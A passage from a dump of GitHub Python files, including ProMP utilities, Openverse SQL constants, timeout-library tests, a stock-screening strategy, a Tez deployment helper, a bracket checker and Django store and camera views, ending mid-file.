+{"seq_id":"40305980333","text":"import numpy as np\n\n\ndef linear_phase(dt, T=1):\n phase = np.linspace(0, T, T / dt)[:, np.newaxis]\n \n return phase\n\n\ndef normalized_gaussian_basis(N, Z, dt):\n mu = np.linspace(0, 1, N)[:, np.newaxis]\n sigma = np.ones((N, 1)) / N\n \n basis = np.sqrt(2 * np.pi) * (1 / sigma.T) * np.exp(-0.5 * ((Z - mu.T) / sigma.T) ** 2)\n basis = basis / np.sum(basis, 1)[:, np.newaxis]\n\n basis = basis.T\n \n return basis\n","repo_name":"PedroIldefonso/baxter_project","sub_path":"ProMPs/build/lib.linux-x86_64-2.7/promp/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2536712457","text":"from datetime import datetime, timedelta\n\n\nDAG_ID = \"batched_update\"\nSTART_DATE = datetime(2023, 5, 1)\nSLACK_USERNAME = \"Upstream Batched Update\"\nSLACK_ICON = \":database:\"\n\nDEFAULT_BATCH_SIZE = 10_000\nDAGRUN_TIMEOUT = timedelta(days=31 * 3)\nSELECT_TIMEOUT = timedelta(hours=24)\nUPDATE_TIMEOUT = timedelta(days=30 * 3) # 3 months\n\n# Task IDs used for branching operator\nGET_EXPECTED_COUNT_TASK_ID = \"get_expected_update_count\"\nCREATE_TEMP_TABLE_TASK_ID = \"select_rows_to_update\"\n\n# Timeout for an individual batch, given in seconds\nDEFAULT_UPDATE_BATCH_TIMEOUT = 60 * 60 # 1 hour\n\nTEMP_TABLE_NAME = \"{query_id}_rows_to_update\"\nCREATE_TEMP_TABLE_QUERY = \"\"\"\n CREATE TABLE {temp_table_name} AS\n SELECT ROW_NUMBER() OVER() row_id, identifier\n FROM {table_name}\n {select_query};\n \"\"\"\nCREATE_TEMP_TABLE_INDEX_QUERY = \"CREATE INDEX ON {temp_table_name}(row_id)\"\nSELECT_TEMP_TABLE_COUNT_QUERY = \"\"\"\n SELECT COUNT(*)\n FROM {temp_table_name};\n \"\"\"\nUPDATE_BATCH_QUERY = \"\"\"\n UPDATE {table_name}\n {update_query}\n WHERE identifier in (\n SELECT identifier FROM {temp_table_name}\n WHERE row_id > {batch_start} AND row_id <= {batch_end}\n FOR UPDATE SKIP LOCKED\n );\n \"\"\"\nDROP_TABLE_QUERY = \"DROP TABLE IF EXISTS {temp_table_name} CASCADE;\"\nRETURN_ROW_COUNT = lambda c: c.rowcount # noqa: E731\n","repo_name":"WordPress/openverse","sub_path":"catalog/dags/database/batched_update/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"82"}
+{"seq_id":"33287692328","text":"import functools\nimport random\nimport sys\nimport time\nimport unittest\n\nimport xtimeout\n\ntry:\n import _thread\n thread_enabled = True\n del _thread\nexcept ImportError:\n thread_enabled = False\n\nif thread_enabled:\n import threading\n\ndef busy(seconds):\n if seconds == -1:\n while 1:\n pass\n end = time.time() + seconds\n while time.time() < end:\n for i in range(random.randint(1000, 3000)):\n pass\n\n\nclass TimeoutError(Exception):\n pass\n\n\nclass TestMonitor(unittest.TestCase):\n def test_loop(self):\n def on_timeout(start_time):\n raise TimeoutError\n start = time.time()\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(200, on_timeout):\n busy(-1)\n elapsed = time.time() - start\n self.assertAlmostEqual(elapsed, 0.2, delta=0.05)\n\n def test_with(self):\n def on_timout(start_time):\n nonlocal called\n called = True\n\n called = False\n with xtimeout.check_context(10, on_timout):\n busy(0.1)\n self.assertTrue(called)\n\n def test_with_nest(self):\n def on_timeout_1(start_time):\n nonlocal called1\n self.assertGreaterEqual(time.time() - start_time, 0.05)\n called1 = True\n\n def on_timeout_2(start_time):\n nonlocal called2\n nonlocal count\n count += 1\n called2 = True\n\n called1 = False\n called2 = False\n count = 0\n\n start = time.time()\n with xtimeout.check_context(50, on_timeout_1):\n start1 = time.clock()\n while time.clock() - start1 < 0.1:\n for i in range(2):\n start2 = time.clock()\n with xtimeout.check_context(10, on_timeout_2):\n busy(0.1)\n\n self.assertEqual(count, 2)\n self.assertTrue(called1)\n self.assertTrue(called2)\n\n def test_break(self):\n def on_timeout(start_time):\n raise TimeoutError\n\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(0.1)\n\n def test_decorator(self):\n def on_timeout(start_time):\n raise Exception(\"Timeout\")\n\n @xtimeout.check_time(10, on_timeout)\n def func():\n busy(1)\n\n with self.assertRaises(Exception) as context:\n func()\n self.assertEqual(context.exception.args[0], \"Timeout\")\n\n def test_trace_recover(self):\n def dummy_trace(*args):\n pass\n\n def on_timeout(start_time):\n self.assertEqual(sys.gettrace(), dummy_trace)\n raise TimeoutError\n\n old_trace = sys.gettrace()\n sys.settrace(dummy_trace)\n try:\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(-1)\n finally:\n sys.settrace(old_trace)\n\n def test_reset(self):\n def ont_time(start_time):\n raise TimeoutError\n\n count = 0\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(250, ont_time) as context:\n for i in range(1, 5):\n count = i\n # timeout on 300ms\n busy(0.1 * i)\n context.reset()\n self.assertEqual(count, 3)\n\n\n@unittest.skipIf(not thread_enabled, \"no threading\")\nclass TestMultiThread(unittest.TestCase):\n def test_child_thread(self):\n def on_timeout(start_time):\n raise TimeoutError\n\n def thfunc():\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(0.1)\n\n th = threading.Thread(target=thfunc)\n th.start()\n th.join()\n\n def test_multi_threads(self):\n def on_timeout(start_time):\n nonlocal count\n count += 1\n raise TimeoutError\n count = 0\n def thfunc():\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(-1)\n \n ths = []\n for i in range(4):\n th = threading.Thread(target=thfunc)\n th.start()\n ths.append(th)\n for th in ths:\n th.join()\n self.assertEqual(count, 4)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"amos402/py-xtimeout","sub_path":"xtimeout/tests/test_monitor.py","file_name":"test_monitor.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"13131500809","text":"from django.test import TestCase, Client\nfrom http import HTTPStatus\nfrom django.urls import reverse\n\n\nfrom posts.models import Group, Post, User\n\n\nclass PostURLTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='test_user')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='test_slug',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый текст',\n )\n\n def setUp(self):\n self.guest_client = Client()\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n\n def test_url_exists_at_desired_location(self):\n \"\"\"Страницы доступны любому пользователю.\"\"\"\n url_names = {\n reverse('posts:index'): HTTPStatus.OK,\n reverse('posts:group_list', kwargs={\n 'slug': self.group.slug\n }): HTTPStatus.OK,\n reverse('posts:profile', kwargs={\n 'username': self.user\n }): HTTPStatus.OK,\n reverse('posts:post_detail', kwargs={\n 'post_id': self.post.id\n }): HTTPStatus.OK,\n }\n for url, status in url_names.items():\n with self.subTest(url=url):\n response = self.guest_client.get(url)\n self.assertEqual(response.status_code, status)\n","repo_name":"Saggitel/hw04_tests","sub_path":"yatube/posts/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"86644734630","text":"import datetime\nimport math\n\nimport numpy as np\nimport pandas as pd\n\nclass Strategy():\n def __init__(self, sotck_data):\n self.stock_data = sotck_data\n self.strategy_list = []\n self.constraint = []\n self.call_dict = {}\n self.set_func_dict()\n self.load_strategy_data()\n \n def set_func_dict(self):\n self.call_dict = {\n 'dropdown': self.dropdown,\n 'profit': self.profit,\n 'std': self.std,\n 'ma20': self.ma20,\n 'pe': self.pe,\n 'pb': self.pb,\n 'dividend': self.dividend,\n 'than60ma': self.than60ma,\n 'than120ma': self.than120ma,\n 'than_month': self.than_month,\n 'than_volume': self.than_volume\n }\n\n def load_strategy_data(self):\n # json file loading\n # create test data\n self.strategy_list = []\n a = {\n 'name': 'dropdown',\n 'period': 365 * 3,\n 'threshold': 50,\n 'operation': -1\n }\n b = {\n 'name': 'profit',\n 'period': 365 * 3,\n 'threshold': 10,\n 'operation': 1\n }\n c = {\n 'name': 'std',\n 'period': 365 * 3,\n 'threshold': 0.02,\n 'operation': -1\n }\n d = {\n 'name': 'ma20',\n 'period': 15,\n 'threshold': 100,\n 'operation': -1\n }\n e = {\n 'name': 'ma20',\n 'period': 15,\n 'threshold': 10,\n 'operation': 1\n }\n f = {\n 'name': 'pb',\n 'period': 15,\n 'threshold': 2,\n 'operation': -1\n }\n g = {\n 'name': 'pe',\n 'period': 15,\n 'threshold': 15,\n 'operation': -1\n }\n h = {\n 'name': 'pe',\n 'period': 15,\n 'threshold': 10,\n 'operation': 1\n }\n i = {\n 'name': 'than60ma',\n 'period': 15,\n 'threshold': 0,\n 'operation': 1\n }\n j = {\n 'name': 'than120ma',\n 'period': 15,\n 'threshold': 0,\n 'operation': 1\n }\n k = {\n 'name': 'dividend',\n 'period': 15,\n 'threshold': 4,\n 'operation': 1\n }\n l = {\n 'name': 'than_month',\n 'period': 15,\n 'threshold': 12,\n 'operation': 1\n }\n m = {\n 'name': 'than_volume',\n 'period': 15,\n 'threshold': 50,\n 'operation': 1\n }\n \n #self.strategy_list.append(a)\n #self.strategy_list.append(b)\n #self.strategy_list.append(c)\n #self.strategy_list.append(d)\n #self.strategy_list.append(e)\n self.strategy_list.append(f)\n self.strategy_list.append(g)\n #self.strategy_list.append(h)\n self.strategy_list.append(i)\n self.strategy_list.append(j)\n self.strategy_list.append(k)\n self.strategy_list.append(l)\n self.strategy_list.append(m)\n\n def combine_constraint(self, start_date):\n constraint_list = []\n for strategy in self.strategy_list:\n res = self.call_dict[strategy['name']](start_date, strategy['period'], strategy['threshold'], strategy['operation'])\n constraint_list.append(res)\n self.constraint = constraint_list[0]\n for i in range(1, len(constraint_list)):\n self.constraint = self.constraint & constraint_list[i]\n\n def get_constraint(self, start_date):\n self.combine_constraint(start_date)\n return self.constraint\n\n def dropdown(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = (data.cummax() - data).max()/data.max() * 100\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def profit(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = (data.iloc[-1] / data.iloc[0] - 1) * 100\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def std(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = (data / data.shift()).std()\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def ma20(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['20ma'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def pb(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['PB'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index.astype(str)\n elif operation == 0:\n return result[result == threshold].index.astype(str)\n else:\n return result[result > threshold].index.astype(str)\n\n def pe(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['PE'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index.astype(str)\n elif operation == 0:\n return result[result == threshold].index.astype(str)\n else:\n return result[result > threshold].index.astype(str)\n\n def dividend(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['dividend'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index.astype(str)\n elif operation == 0:\n return result[result == threshold].index.astype(str)\n else:\n return result[result > threshold].index.astype(str)\n \n def than60ma(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n close = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n ma60 = self.stock_data['60ma'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n close = close.iloc[-1]\n ma60 = ma60.iloc[-1]\n if operation < 0:\n res = np.where(close < ma60, True, False)\n else:\n res = np.where(close > ma60, True, False)\n result = pd.Series(res, index=close.index)\n return result[result == True].index.astype(str)\n\n def than120ma(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n close = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n ma120 = self.stock_data['120ma'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n close = close.iloc[-1]\n ma120 = ma120.iloc[-1]\n if operation < 0:\n res = np.where(close < ma120, True, False)\n else:\n res = np.where(close > ma120, True, False)\n result = pd.Series(res, index=close.index)\n return result[result == True].index.astype(str)\n\n def than_month(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(600)\n month = self.stock_data['month'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n if len(month.index) <= 2 or len(month.index) <= threshold + 1:\n cur_month = month.iloc[-1]\n prev_month = month.iloc[-1]\n else:\n cur_month = month.iloc[-2]\n prev_month = month.iloc[-(threshold+1)]\n if operation < 0:\n res = np.where(cur_month < prev_month, True, False)\n else:\n res = np.where(cur_month > prev_month, True, False)\n result = pd.Series(res, index=cur_month.index)\n return result[result == True].index.astype(str)\n\n def than_volume(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n volume = self.stock_data['volume'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n\n result = ((volume.iloc[-1] - volume.iloc[-2]) / volume.iloc[-2]) * 100\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n","repo_name":"mistysya/stock_backtest","sub_path":"strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":10069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"7797930293","text":"#!/usr/bin/python\n\nfrom utils.util import *\n\ndef deploy_tez_internal(default_conf, custom_conf, master, beaver_env):\n tez_vesrion = beaver_env.get(\"TEZ_VERSION\")\n download_tez(master, tez_vesrion)\n copy_tez_lib_to_hive(master)\n copy_tez_conf_to_hadoop(default_conf, custom_conf, [master], beaver_env)\n\ndef download_tez(node, version):\n print (colors.LIGHT_BLUE + \"Distribute \" + \"tar.gz file\" + \" for apache-tez-\" + version + \"-bin\" + colors.ENDC)\n download_url = \"http://\" + download_server + \"/software\"\n package = \"apache-tez-\" + version + \"-bin\" + \".tar.gz\"\n if not os.path.isfile(os.path.join(package_path, package)):\n print (colors.LIGHT_BLUE + \"\\tDownloading \" + package + \" from our repo...\" + colors.ENDC)\n os.system(\"wget --no-proxy -P \" + package_path + \" \" + download_url + \"/\" + package)\n else:\n print (colors.LIGHT_GREEN + \"\\t\" + package + \" has already exists in Beaver package\" + colors.ENDC)\n print (colors.LIGHT_BLUE + \"\\tCopy \" + package + \" to \" + node.hostname + \"...\" + colors.ENDC)\n ssh_execute(node, \"mkdir -p /opt/Beaver/\")\n ssh_copy(node, os.path.join(package_path, package), \"/opt/Beaver/\" + package)\n print (colors.LIGHT_BLUE + \"\\tUnzip \" + package + \" on \" + node.hostname + \"...\" + colors.ENDC)\n softlink = \"/opt/Beaver/tez\"\n cmd = \"rm -rf \" + softlink + \";\"\n cmd += \"rm -rf /opt/Beaver/tez-*;\"\n cmd += \"mkdir /opt/Beaver/tez-\" + version + \";\"\n cmd += \"tar zxf /opt/Beaver/\" + package + \" -C /opt/Beaver/tez-\" + version + \" --strip-components=1 > /dev/null\"\n ssh_execute(node, cmd)\n cmd = \"ln -s /opt/Beaver/tez-\" + version + \" \" + softlink + \";\"\\\n + \"rm -rf /opt/Beaver/\" + package\n ssh_execute(node, cmd)\n\ndef copy_tez_lib_to_hive(node):\n print (colors.LIGHT_BLUE + \"Copy Tez lib to Hive\" + colors.ENDC)\n cmd = \"yes|cp /opt/Beaver/tez/*.jar /opt/Beaver/hive/lib;\"\n cmd += \"yes|cp /opt/Beaver/tez/lib/*.jar /opt/Beaver/hive/lib\"\n ssh_execute(node, cmd)\n\ndef copy_tez_package_to_hadoop(node):\n print (colors.LIGHT_BLUE + \"Copy Tez package to Hadoop\" + colors.ENDC)\n cmd = \"hadoop dfsadmin -safemode wait;\"\n cmd += \"$HADOOP_HOME/bin/hadoop fs -mkdir /apps;\"\n cmd += \"$HADOOP_HOME/bin/hadoop fs -copyFromLocal /opt/Beaver/tez/share/tez.tar.gz /apps/\"\n ssh_execute(node, cmd)\n\ndef undeploy_tez(master):\n ssh_execute(master, \"rm -rf /opt/Beaver/tez*\")\n\ndef copy_tez_conf_to_hadoop(default_conf, custom_conf, master, beaver_env):\n output_tez_conf = update_tez_conf(default_conf, custom_conf, master)\n copy_configurations(master, output_tez_conf, \"hadoop\", beaver_env.get(\"HADOOP_HOME\"))\n\ndef update_tez_conf(default_conf, custom_conf, master):\n output_tez_conf = update_conf(\"tez\", default_conf, custom_conf)\n # for all conf files, replace the related value, eg, replace master_hostname with real hostname\n for conf_file in [file for file in os.listdir(output_tez_conf) if fnmatch.fnmatch(file, '*.xml')]:\n output_conf_file = os.path.join(output_tez_conf, conf_file)\n for node in master:\n dict = {'master_hostname': node.hostname}\n replace_conf_value(output_conf_file, dict)\n format_xml_file(output_conf_file)\n return output_tez_conf","repo_name":"Liu765940375/autohadoop","sub_path":"infra/tez.py","file_name":"tez.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"32234734957","text":"# python3\r\n\r\nfrom collections import namedtuple\r\nfrom os.path import exists\r\n\r\n\r\nBracket = namedtuple(\"Bracket\", [\"char\", \"position\"])\r\n\r\n\r\nRESPONSE_TYPE_SUCCESS = \"Success\"\r\n\r\n\r\nOPENING_BRACKETS = \"([{\"\r\nCLOSING_BRACKETS = \")]}\"\r\n\r\n\r\ndef are_matching(left, right):\r\n return (left + right) in [\"()\", \"[]\", \"{}\"]\r\n\r\n\r\ndef find_mismatch(text):\r\n opening_brackets_stack = []\r\n\r\n for i, char in enumerate(text):\r\n if char in OPENING_BRACKETS:\r\n opening_brackets_stack.append(Bracket(char, i))\r\n\r\n if char in CLOSING_BRACKETS and (not opening_brackets_stack or not are_matching(opening_brackets_stack.pop().char, char)):\r\n return i + 1\r\n\r\n if opening_brackets_stack:\r\n return opening_brackets_stack[0].position + 1\r\n\r\n return False\r\n\r\n\r\ndef get_text():\r\n while True:\r\n user_choice = input(\"F for file OR I for input OR Q to quit: \").strip().lower()\r\n if user_choice == \"f\":\r\n file_path = input(\"Input file path: \")\r\n if not exists(file_path):\r\n print(\"Incorrect file path\")\r\n\r\n with open(file_path, \"r\", encoding=\"UTF-8\") as file:\r\n return file.read()\r\n elif user_choice == 'i':\r\n return input(\"Input text: \")\r\n elif user_choice == 'q':\r\n print(\"Exiting\")\r\n\r\n break\r\n else:\r\n print(\"No such option exists\")\r\n\r\n\r\ndef handle_mismatch(text):\r\n mismatch_found = find_mismatch(text)\r\n if mismatch_found:\r\n print(mismatch_found)\r\n else:\r\n print(RESPONSE_TYPE_SUCCESS)\r\n\r\n\r\ndef main():\r\n text = get_text()\r\n if not text:\r\n return\r\n\r\n handle_mismatch(text)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"DA-testa/steks-un-iekavas-jbolozdina-rtu","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"5765156478","text":"import requests\nimport json\nfrom config import API_KEY, currencies\n\n\nclass APIException(Exception):\n pass\n\n\nclass Converter:\n @staticmethod\n def get_convert(curr_from, curr_to, amount):\n try:\n curr_from_key = currencies[curr_from]\n except KeyError:\n raise APIException(f'Валюта {curr_from} не найдена!\\nСписок доступных валют см. /values')\n try:\n curr_to_key = currencies[curr_to]\n except KeyError:\n raise APIException(f'Валюта {curr_to} не найдена!\\nСписок доступных валют см. /values')\n if curr_from_key == curr_to_key:\n raise APIException(f'Невозможно перевести одинаковые валюты {curr_from}')\n try:\n amount = float(amount.replace(',', '.'))\n except ValueError:\n raise APIException(f'Неудалось обработать количество: {amount}')\n\n url = f\"https://api.apilayer.com/exchangerates_data/convert?to={curr_to_key}&from={curr_from_key}&amount={amount}\"\n payload = {}\n headers = {\"apikey\": API_KEY}\n r = requests.request(\"GET\", url, headers=headers, data=payload)\n resp = json.loads(r.content)\n result = resp['result']\n return round(result, 3)\n\n\n","repo_name":"ZhArtem/SF-TelegramBot","sub_path":"extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"}
+{"seq_id":"70119083148","text":"from django.http import JsonResponse, HttpResponse, FileResponse\nfrom watcher.models import *\nimport requests\nimport json\nfrom watcher.tools import *\nimport os\nfrom django.utils import timezone\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .serializers import *\nfrom rest_framework.response import Response\nfrom django.core.files.storage import default_storage #파일 저장 경로\nfrom google.cloud import vision\nfrom django.conf import settings\nimport traceback\nfrom django.db.models import Q\n\ndef send_seat_data(request):\n\t\"\"\"\n\tTodo : get camera id, store id\n\t\"\"\"\n\tbefore_pk_list = json.loads(request.POST['before_pk_list'])\n\n\tstring_data = request.POST['seat_data']\n\tcamera_pk = int(request.POST['camera_pk'])\n\tcamera = Camera.objects.get(pk=camera_pk)\n\tstore_pk = int(request.POST['store_pk'])\n\tstore = Store.objects.get(pk=store_pk)\n\tpicture_name = request.POST['picture_name']\n\treal_data = json.loads(string_data)\n\t\"\"\"\n\tcamera data set\n\t\"\"\"\n\tCamera.objects.filter(pk=camera_pk).update(cur_pic=picture_name)\n\t\"\"\"\n\treal data format\n\t{\n\t\t'is_elec': False, \n\t\t'capacity': '1', \n\t\t'position': {'f_x': 0.19416666666666665, 'f_y': 0.35, 's_x': 0.2808333333333333, 's_y': 0.46555555555555556}\n\t}\n\t\"\"\"\n\n\t\"\"\"\n\tTodo : cam addr setting : connection test\n\t\"\"\"\n\tcam_host = camera.cur_host\n\tcam_addr_test = '/'.join([cam_host, 'test'])\n\tif cam_host != 'test':\n\t\ttry:\n\t\t\tresponse = requests.get(cam_addr_test, timeout=5)\n\t\texcept Exception:\n\t\t\treturn HttpResponse('connection error')\n\t\tif response.text != 'ok':\n\t\t\treturn HttpResponse('connection error2')\n\t\n\tcur_pk_list = []\n\n\tto_cam_data_list = []\n\n\tfor elem in real_data:\n\t\tto_cam_data = {}\n\n\t\ttarget_data = {\n\t\t\t'pic_f_x' : round(elem['position']['f_x'],2),\n\t\t\t'pic_f_y' : round(elem['position']['f_y'],2),\n\t\t\t'pic_s_x' : round(elem['position']['s_x'],2),\n\t\t\t'pic_s_y' : round(elem['position']['s_y'],2),\n\t\t\t'is_elec' : elem['is_elec'],\n\t\t\t'capacity' : elem['capacity'],\n\t\t\t'camera' : camera,\n\t\t\t'store' : store,\n\t\t\t'pic_name': picture_name,\n\t\t}\n\t\tif bool(elem['pk']):\n\t\t\tcur_pk_list.append(elem['pk'])\n\t\t\tTable.objects.filter(pk=elem['pk']).update(**target_data)\n\t\t\tto_cam_data['pk'] = elem['pk']\n\t\t\tto_cam_data['position'] = elem['position']\n\t\t\tto_cam_data_list.append(to_cam_data)\n\t\telse:\n\t\t\ttable_tmp = Table.objects.create(**target_data)\n\t\t\tto_cam_data['pk'] = table_tmp.pk\n\t\t\tto_cam_data['position'] = elem['position']\n\t\t\tto_cam_data_list.append(to_cam_data)\n\n\t\"\"\"\n\tTodo : table delete\n\t\"\"\"\n\tfor before_pk in before_pk_list:\n\t\tif before_pk not in cur_pk_list:\n\t\t\tTable.objects.filter(pk=before_pk).delete()\n\t\n\t\"\"\"\n\tsend coord to cam\n\t\"\"\"\n\t\n\tcam_get_seat_info = '/'.join([camera.cur_host, 'get_seat_info'])\n\tif cam_host != 'test':\n\t\ttry:\n\t\t\toutput_data = {\n\t\t\t\t'is_updated' : True,\n\t\t\t\t'data' : to_cam_data_list\n\t\t\t}\n\t\t\tresponse = requests.post(cam_get_seat_info, data={'seat_data':json.dumps(output_data, indent=4)}, timeout=5)\n\t\texcept Exception:\n\t\t\treturn HttpResponse('connection error')\n\t\tif response.text != 'good':\n\t\t\treturn HttpResponse('connection error2')\n\n\treturn HttpResponse('good')\n\n\n#가게 정보 관련 \ndef get_store_info(request) :\n\tpk = int(request.GET['pk'])\n\tstore_info = Store.objects.get(pk=pk)\n\n\tdata = {\n\t\t'pk' : store_info.pk,\n\t\t'store_name' : store_info.store_name,\n\t\t'store_location' : store_info.store_location,\n\t}\n\n\treturn JsonResponse(json.dumps(store_info))\ndef delete_store_info(request) :\n\tpk = int(request.GET['pk'])\n\tstore = Store.objects.get(pk=pk)\n\tstore.delete()\n\treturn HttpResponse(\"delete success\")\n\ndef edit_store_info(request) :\n\tpk = int(request.POST.get('pk'))\n\tstore_name = request.POST['store_name']\n\tstore_location = request.POST.get('store_location')\n\tpicture_name = request.POST.get('picture_name')\n\tpic = request.FILES.get('img')\n\n\tstore = Store.objects.get(pk=pk)\n\t\n\tif pic :\n\t\tdefault_storage.delete('watcher/static/img/store/'+str(pk)+'/'+store.picture_name)\n\t\tdefault_storage.save('watcher/static/img/store/'+str(pk)+'/'+pic.name, pic)\n\n\tstore.store_name = store_name\n\tstore.store_location = store_location\n\tstore.picture_name = picture_name\n\tstore.save()\n\n\tstores = Store.objects.all()\n\tserialized_stores = StoreSerializer(stores,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_stores.data))\n\ndef add_store_list(request) :\n\tstore_name = request.POST.get('store_name')\n\tstore_location = request.POST.get('store_location')\n\tpicture_name = request.POST.get('picture_name',\"modal_cafe_img.jpg\")\n\tpic = request.FILES.get('img')\n\t\t\n\tstore = Store(store_name=store_name, store_location=store_location, picture_name=picture_name)\n\tstore.save()\n\n\tif pic :\n\t\tdefault_storage.save('watcher/media/img/store/'+str(store.pk)+'/'+pic.name, pic)\n\t\tstore.picture_name=pic.name\n\t\tstore.save()\n\t\n\tdata = {\n\t\t'pk' : store.pk,\n\t\t'store_name' : store.store_name,\n\t\t'store_location' : store.store_location,\n\t\t'picture_name' : store.picture_name,\n\t}\n\n\treturn JsonResponse(data, safe=False)\n\ndef upload_store_img(requset) :\n\tpicture_name = requset.GET.get('picture_name')\n\tprint(\"img_start\")\n\treturn HttpResponse('img good')\n\n\n\n#카메라 정보 관련\n\ndef get_camera_info(request):\n\tpk = int(request.POST.get('pk'))\n\tcamera = Camera.objects.get(pk=pk)\n\n\tdata = {\n\t\t'pk' : camera.pk,\n\t\t'store_id' : camera.store_id,\n\t\t'cur_pic' : camera.cur_pic,\n\t\t'mac_addr' : camera.mac_addr,\n\t\t'cur_host' : camera.cur_host,\n\t\t'description' : camera.description,\n\t} \n\treturn JsonResponse(data, safe=False)\n\ndef edit_camera_info(request) :\n\tstore_id = int(request.GET['store_id'])\n\tpk = int(request.GET['pk'])\n\tmac_addr = request.GET.get('mac_addr')\n\tdescription = request.GET['description']\n\tcur_host = request.GET.get('cur_host')\n\n\tcamera = Camera.objects.filter(pk=pk)\n\tcamera.update(mac_addr=mac_addr,description=description,cur_host=cur_host)\n\tcamera = Camera.objects.get(pk=pk)\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_cameras.data))\n\t\ndef add_camera_info(request) :\n\t#cur_pic = request.GET['cur_pic']\n\tdescription = request.GET['description']\n\tstore_id= int(request.GET['store_id'])\n\tcur_host = request.GET.get('cur_host')\n\tmac_addr = request.GET.get('mac_addr')\n\n\n\tcamera=Camera(description = description, store_id = store_id, cur_host= cur_host, mac_addr=mac_addr)\n\tcamera.save()\n\n\tdata = {\n\t\t'pk' : camera.pk,\n\t\t'store_id' : camera.store_id,\n\t\t'cur_pic' : camera.cur_pic,\n\t\t'mac_addr' : camera.mac_addr,\n\t\t'cur_host' : camera.cur_host,\n\t\t'description' : 